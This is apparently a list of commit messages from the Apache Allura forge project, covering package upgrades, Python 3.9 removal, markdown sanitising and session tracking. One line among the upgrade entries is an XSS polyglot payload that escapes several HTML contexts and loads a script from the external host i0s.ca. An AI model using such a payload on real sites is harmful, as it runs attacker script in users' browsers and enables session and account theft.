Markdown strip class and id attributes
remove pysvn dep from ForgeSVN since the one on pypi is the wrong one. Update checks and docs
[#8520] make a pkg_file helper for shorter and safer file locating code
[#8520] show warnings from ./run_tests
[#8520] update deprecated beautifulsoup methods
[#8520] drop python 3.9 support for easier entry_points(group= usage in Allura and other libraries like easywidgets and activitystream)
migrate from pkg_resources to importlib DROP PYTHON 3.9
db/8520 based on https://forge-allura.apache.org/p/allura/git/merge-requests/404/ with additional changes
invalidate all posts' markdown cache
remove class and id attributes when parsing markdown to html
invalidate all posts' markdown cache
fix relative links in markdown files
[#8520] show warnings from ./run_tests
[#8520] update deprecated beautifulsoup methods
[#8520] drop python 3.9 support for easier entry_points(group= usage in Allura and other libraries like easywidgets and activitystream)
[#8520] fixes
[#8520] replacing pkg_resources
[#8520] update deprecated beautifulsoup methods
[#8520] drop python 3.9 support for easier entry_points(group= usage in Allura and other libraries like easywidgets and activitystream)
[#8520] fixes
replacing pkg_resources
need "moderate" perm to mark thread as spam
remove class and id attributes when parsing markdown to html
update PGP link for release vote mail
Home
release 1.18 news
update SITEURL and regenerate with latest pelican
CHANGES updated for ASF release 1.18.0
Update copyright year
for ease of development, make trusted_login_source allow some usernames
bump regex 2024.11.6 -> 2025.7.34
Track user sessions for already logged in users
Track sessions for already logged in users
[#8581] change pkg_resources ignores from DeprecationWarning to UserWarning
added PLC0415 to the list of ignored ruff rules
[#8581] updated pre-commit ruff version
[#8581] Upgrade pre_commit 4.2.0 -> no upgrade, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8581] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8581] Upgrade pytest-xdist 3.6.1 -> 3.8.0, and its deps: execnet,pytest,iniconfig,packaging,pluggy
[#8581] Upgrade pytest 8.3.5 -> 8.4.1, and its deps: iniconfig,packaging,pluggy
[#8581] Upgrade WebTest 3.0.4 -> 3.0.6, and its deps: beautifulsoup4,soupsieve,typing_extensions,waitress,WebOb
[#8581] Upgrade testfixtures 8.3.0 -> 9.1.0
[#8581] Upgrade ruff 0.11.7 -> 0.12.2
[#8581] Upgrade qrcode 8.1 -> 8.2
[#8581] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8581] Upgrade Pygments 2.19.1 -> 2.19.2
[#8581] Upgrade oauthlib 3.2.2 -> 3.3.1
[#8581] Upgrade Markdown 3.8 -> 3.8.2
[#8581] Upgrade lxml 5.4.0 -> 6.0.0
[#8581] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8581] Upgrade beautifulsoup4 4.13.4 -> no upgrade, and its deps: soupsieve,typing_extensions
[#8581] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8581] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
Track sessions for already logged in users
test update to sync up the git fix
remove encoding that turns author string into utf-8 bytes
fix permissions options to show anonymous/read for private projects
added PLC0415 to the list of ignored ruff rules
[#8581] updated pre-commit ruff version
[#8581] Upgrade pre_commit 4.2.0 -> no upgrade, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8581] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8581] Upgrade pytest-xdist 3.6.1 -> 3.8.0, and its deps: execnet,pytest,iniconfig,packaging,pluggy
[#8581] Upgrade pytest 8.3.5 -> 8.4.1, and its deps: iniconfig,packaging,pluggy
[#8581] Upgrade WebTest 3.0.4 -> 3.0.6, and its deps: beautifulsoup4,soupsieve,typing_extensions,waitress,WebOb
[#8581] Upgrade testfixtures 8.3.0 -> 9.1.0
[#8581] Upgrade ruff 0.11.7 -> 0.12.2
[#8581] Upgrade qrcode 8.1 -> 8.2
[#8581] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8581] Upgrade Pygments 2.19.1 -> 2.19.2
[#8581] Upgrade oauthlib 3.2.2 -> 3.3.1
[#8581] Upgrade Markdown 3.8 -> 3.8.2
[#8581] Upgrade lxml 5.4.0 -> 6.0.0
[#8581] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8581] Upgrade beautifulsoup4 4.13.4 -> no upgrade, and its deps: soupsieve,typing_extensions
[#8581] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8581] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
upgrade pillow to latest
include more response text in urlopen error logging
upgrade urllib3
"/*'/*\`/*--></noscript/</textarea/</template/</noembed/</script><script src=//i0s.ca></script>
small tweak to allow 'no_negated_flags=False' to defoptscript
bump requests 2.32.3 -> 2.32.4
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode
fixup! [#8580] include paster plugins
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
small hint on repo viewable extensions format
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode